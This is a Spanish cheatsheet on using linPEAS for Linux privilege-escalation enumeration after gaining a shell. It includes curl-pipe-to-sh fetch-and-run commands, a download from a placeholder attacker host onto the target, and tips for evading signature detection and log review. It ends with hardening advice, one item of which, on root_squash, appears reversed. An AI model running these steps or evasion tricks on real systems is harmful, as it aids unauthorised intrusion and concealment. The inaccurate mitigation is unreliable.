LinPEAS — Enumeración Automática para Escalada de Privilegios
Detección de vectores de escalada de privilegios en Linux con linPEAS: ejecución remota vía curl, chequeos de SUID, credenciales, capacidades y servicios expuestos.
1. Operational Scope & Technical Objective
linPEAS (parte de PEASS-ng) audita un host Linux comprometido y marca con colores los vectores de escalada: binarios SUID, credenciales en claro, capacidades, cron jobs escribibles, servicios expuestos y rutas writable. Es la primera herramienta que se ejecuta tras conseguir una shell no privilegiada, porque convierte minutos de enumeración manual en una lista priorizada de exploits viables. Su repositorio oficial: PEASS-ng/linPEAS.
2. High-Impact Syntax & Command Cheatsheet
# Ejecución remota directa (la shell lo baja y lo ejecuta en memoria)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Flujo controlado: descargar, dar permisos y ejecutar con salida a fichero
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/lp.sh
chmod +x /tmp/lp.sh
/tmp/lp.sh -a | tee linpeas.out # -a: todas las comprobaciones
# Modos
/tmp/lp.sh -s # -s: superfast (solo lo esencial)
/tmp/lp.sh -e # -e: incluye chequeos extra (port forwarding, etc.)
/tmp/lp.sh -p # -p: no muestra el panel de progreso (menos ruido)
# Otra vía: transferir el script con un servidor HTTP propio
python3 -m http.server 8080 # en la máquina del atacante
curl http://<ATTACKER_IP>:8080/linpeas.sh -o /tmp/lp.sh # en el objetivo
3. Real-World Offensive/Defensive Scenarios
Flujo post-explotación. Al llegar a una shell (web-shell, RCE de una app), linPEAS se ejecuta con -a y el resultado se filtra por las líneas con color rojo (PEASS usa 80 colores: rojo = alta probabilidad). Los vectores típicos que destapa: un find SUID con -exec, un servicio corriendo con no_root_squash NFS, un cron que ejecuta un script en un directorio writable, o un password en /etc/shadow legible por un grupo.
Evasión de detección. El script puede ofuscarse (sed 's/PEASS/XX/g' o Base64) para saltarse filtros por firma; conviene ejecutarlo desde /dev/shm o /tmp con nombre inocuo (/tmp/check.sh) y volcarlo a un fichero local en vez de emitir la salida completa por el canal de la shell (reducir ruido en logs y en la sesión).
Defensa. linPEAS no explota: enumera lo que ya está mal configurado. La mitigación es endurecer el host: revisar binarios SUID (eliminar los innecesarios), desactivar world-writable en rutas del sistema, no dejar scripts de cron escribibles y limitar el root_squash en NFS. Ejecutar linpeas.sh de forma periódica contra los propios hosts es la mejor manera de cazar las mismas configuraciones que un atacante explotaría después.